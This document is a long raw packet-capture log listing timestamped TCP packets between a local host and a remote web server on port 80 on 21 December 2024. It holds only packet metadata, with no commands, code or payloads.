                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.889981031 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.890058994 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.890070915 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.890131950 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.890252113 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.890301943 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.890408993 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.890482903 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.891341925 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.891380072 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.891386032 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.891428947 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.892384052 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.892421007 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.892472982 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.893439054 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.893590927 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.893627882 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.893675089 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.894692898 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.894743919 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.894874096 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.894925117 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.895780087 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.895817041 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.895870924 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.896713018 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.897043943 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.897126913 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.897862911 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.897897959 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.897949934 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.899210930 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.899260998 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.899274111 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.900162935 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.900224924 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.900330067 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.901382923 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.901443005 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.901535988 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.901583910 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.902295113 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.902348995 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.902493000 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.902535915 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.903378963 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.903438091 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.903553009 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.903601885 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.904452085 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.904501915 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.904616117 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.904660940 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.904671907 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.904709101 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.904715061 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.905375957 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.905433893 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.905474901 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.905586958 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.906449080 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.906573057 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.906619072 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.907684088 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.907778025 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.907835960 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.908674955 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.908797979 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.908854961 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.909797907 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.909970045 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.910020113 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.910934925 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.910984039 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.911027908 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.912065983 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.912117004 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.912307978 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.913233995 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.913269043 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.913284063 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.913309097 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.914343119 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.914463043 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.914513111 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.915369987 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.915426016 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.915476084 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.916439056 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.916482925 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.916528940 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.917525053 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.917570114 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.917581081 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.918699980 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.918750048 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.918773890 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.918817997 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.919749975 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.919877052 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.919929981 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.920877934 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.920986891 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.921036959 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.921955109 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.922085047 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.922132969 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.923067093 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.923114061 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.923237085 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.924199104 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.924247026 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.924377918 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.925286055 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.925340891 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.925379038 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.925427914 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.926379919 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.926547050 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.926595926 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.927505970 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.927645922 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.927695990 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.928611994 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.928659916 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.928726912 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.929586887 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.929701090 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.929749966 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.929831982 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.929877996 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.930830002 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.930877924 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.931123018 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.931171894 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.931947947 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.932079077 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.932127953 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.933065891 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.933235884 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.933286905 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.934160948 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.934233904 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.934282064 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.935261011 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.935309887 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.935408115 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.936377048 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.936424971 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.936566114 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.937511921 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.937563896 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.937589884 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.938633919 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.938683987 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.938751936 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.938798904 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.939682007 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.939748049 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.939815044 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.940823078 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.940881968 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.941186905 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.941591978 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.941879034 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.942008018 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.942063093 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.943015099 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.943123102 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.943171024 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.944169044 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.944216013 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.944289923 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.945228100 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.945280075 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.945358992 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.945585966 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.946278095 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.949589014 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.080842972 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.080898046 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.080971003 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.081296921 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.081423044 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.081543922 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.081598997 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.081609011 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.082833052 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.082890034 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.082896948 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.082933903 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.083641052 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.083698988 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.083733082 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.083784103 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.084752083 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.084803104 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.084894896 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.084943056 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.085786104 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.085937023 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.085987091 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.086882114 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.087016106 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.087064028 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.088037014 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.088110924 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.088160992 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.089081049 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.089133978 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.089225054 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.089587927 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.090188980 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.090234995 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.090315104 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.090363026 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.091281891 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.091329098 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.091413021 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.091460943 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.092411041 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.092456102 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.092468023 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.092515945 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.093508005 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.093559027 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.093626022 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.094759941 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.094808102 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.094873905 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.095577955 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.095768929 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.095827103 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.095877886 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.096856117 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.096946001 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.096997023 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.097975969 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.098092079 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.098140955 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.099066973 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.099114895 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.099194050 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.100186110 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.100234985 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.100285053 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.101291895 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.101340055 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.101418972 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.101464033 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.102381945 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.102530003 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.102571964 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.103480101 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.103595972 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.103645086 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.104604006 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.104652882 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.104656935 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.105586052 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.105720043 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.105767965 CET4976080192.168.2.431.41.244.11
